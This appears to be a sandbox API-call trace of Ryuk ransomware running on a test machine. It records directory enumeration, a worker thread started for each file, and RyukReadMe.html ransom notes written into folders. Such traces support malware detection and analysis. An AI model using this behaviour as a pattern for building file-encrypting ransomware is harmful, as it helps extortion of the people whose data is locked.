	[0236.944] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa45cbf3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x107e, dwReserved0=0x1f8, dwReserved1=0x0, cFileName="HandPrints.jpg", cAlternateFileName="HANDPR~1.JPG")) returned 1
	[0236.944] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0236.945] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc56410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7d4
	[0236.947] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.947] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xce0e3b3c, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x1f8, dwReserved1=0x0, cFileName="Orange Circles.htm", cAlternateFileName="ORANGE~1.HTM")) returned 1
	[0236.947] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0236.948] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc59af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7d8
	[0236.950] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.951] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa4cf00d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x18ed, dwReserved0=0x1f8, dwReserved1=0x0, cFileName="OrangeCircles.jpg", cAlternateFileName="ORANGE~1.JPG")) returned 1
	[0236.951] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0236.952] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc5d1d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7dc
	[0236.953] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.954] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xce109c99, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x1f8, dwReserved1=0x0, cFileName="Peacock.htm", cAlternateFileName="")) returned 1
	[0236.954] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0236.955] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc608b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7e0
	[0236.957] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.957] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e09fe0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e09fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa51b2c9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x13fb, dwReserved0=0x1f8, dwReserved1=0x0, cFileName="Peacock.jpg", cAlternateFileName="")) returned 1
	[0236.957] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0236.958] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc63f90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7e4
	[0236.961] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.961] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f3aae0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xce12fdf6, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x1f8, dwReserved1=0x0, cFileName="Roses.htm", cAlternateFileName="")) returned 1
	[0236.961] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0236.962] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc67670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7e8
	[0236.971] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.971] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f3aae0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa567585, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x780, dwReserved0=0x1f8, dwReserved1=0x0, cFileName="Roses.jpg", cAlternateFileName="")) returned 1
	[0236.971] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0236.972] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc6ad50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7ec
	[0237.288] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0237.568] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f3aae0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xce17c0b0, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x1f8, dwReserved1=0x0, cFileName="Shades of Blue.htm", cAlternateFileName="SHADES~1.HTM")) returned 1
	[0237.568] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0237.569] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7f0
	[0237.573] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0237.574] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f3aae0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa58d6e3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x127e, dwReserved0=0x1f8, dwReserved1=0x0, cFileName="ShadesOfBlue.jpg", cAlternateFileName="SHADES~1.JPG")) returned 1
	[0237.574] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0237.575] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x808
	[0237.579] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0237.579] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28de3e80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xce1a220d, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x1f8, dwReserved1=0x0, cFileName="Soft Blue.htm", cAlternateFileName="SOFTBL~1.HTM")) returned 1
	[0237.579] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0237.580] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x80c
	[0237.583] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0237.584] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28de3e80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa5b3841, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2949, dwReserved0=0x1f8, dwReserved1=0x0, cFileName="SoftBlue.jpg", cAlternateFileName="")) returned 1
	[0237.584] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0237.585] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x810
	[0237.645] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0237.964] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28de3e80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xce1c836a, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe6, dwReserved0=0x1f8, dwReserved1=0x0, cFileName="Stars.htm", cAlternateFileName="")) returned 1
	[0237.964] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0237.964] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x81c
	[0238.005] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.005] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28de3e80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa5ffafd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d51, dwReserved0=0x1f8, dwReserved1=0x0, cFileName="Stars.jpg", cAlternateFileName="")) returned 1
	[0238.006] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0238.006] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x820
	[0238.011] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0238.011] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28de3e80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa5ffafd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d51, dwReserved0=0x1f8, dwReserved1=0x0, cFileName="Stars.jpg", cAlternateFileName="")) returned 0
	[0238.012] FindClose (in: hFindFile=0x29ef80 | out: hFindFile=0x29ef80) returned 1
	[0244.656] SetLastError (dwErrCode=0x0) 
	[0244.657] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\Stationery\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\stationery\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0244.657] GetLastError () returned 0x3
	[0244.657] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0) returned 0
	[0244.657] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0244.657] FindNextFileW (in: hFindFile=0x29f040, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28de3e80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2c881c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x204000, dwReserved0=0x1de, dwReserved1=0x0, cFileName="WindowsMail.MSMessageStore", cAlternateFileName="WINDOW~1.MSM")) returned 1
	[0244.657] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0245.085] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6cc
	[0245.129] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.662] FindNextFileW (in: hFindFile=0x29f040, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28de3e80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2b9a12c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="WindowsMail.pat", cAlternateFileName="WINDOW~1.PAT")) returned 1
	[0245.662] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0245.662] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x754
	[0245.693] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0245.694] FindNextFileW (in: hFindFile=0x29f040, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28de3e80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2b9a12c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="WindowsMail.pat", cAlternateFileName="WINDOW~1.PAT")) returned 0
	[0245.694] FindClose (in: hFindFile=0x29f040 | out: hFindFile=0x29f040) returned 1
	[0245.694] SetLastError (dwErrCode=0x0) 
	[0245.694] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Mail\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows mail\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x724
	[0245.695] GetLastError () returned 0xb7
	[0245.695] CloseHandle (hObject=0x724) returned 1
	[0245.695] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf7de167e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="Windows Media", cAlternateFileName="WINDOW~2")) returned 1
	[0245.695] SetLastError (dwErrCode=0x0) 
	[0245.695] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x724
	[0245.696] GetLastError () returned 0xb7
	[0245.696] CloseHandle (hObject=0x724) returned 1
	[0245.696] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Media\\*.*", lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf7de167e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f040
	[0245.697] FindNextFileW (in: hFindFile=0x29f040, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf7de167e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0245.697] FindNextFileW (in: hFindFile=0x29f040, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf928f5c4, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1de, dwReserved1=0x0, cFileName="12.0", cAlternateFileName="")) returned 1
	[0245.698] SetLastError (dwErrCode=0x0) 
	[0245.698] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Media\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows media\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74c
	[0245.699] GetLastError () returned 0x0
	[0245.699] WriteFile (in: hFile=0x74c, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x10c8b8*=0x273, lpOverlapped=0x0) returned 1
	[0247.918] CloseHandle (hObject=0x74c) returned 1
	[0247.919] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows Media\\12.0\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf928f5c4, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fa, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ef80
	[0247.921] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf928f5c4, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fa, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0247.921] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28de3e80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf7de167e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x1f2, dwReserved0=0x1fa, dwReserved1=0x0, cFileName="WMSDKNS.DTD", cAlternateFileName="")) returned 1
	[0247.921] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b30000
	[0248.519] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x840
	[0248.602] VirtualFree (lpAddress=0x8b30000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0249.044] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28de3e80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf9269464, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x27cf, dwReserved0=0x1fa, dwReserved1=0x0, cFileName="WMSDKNS.XML", cAlternateFileName="")) returned 1
	[0249.045] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0249.046] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7f4
	[0249.076] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0249.077] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28de3e80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf9269464, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x27cf, dwReserved0=0x1fa, dwReserved1=0x0, cFileName="WMSDKNS.XML", cAlternateFileName="")) returned 0
	[0249.077] FindClose (in: hFindFile=0x29ef80 | out: hFindFile=0x29ef80) returned 1
	[0249.077] SetLastError (dwErrCode=0x0) 
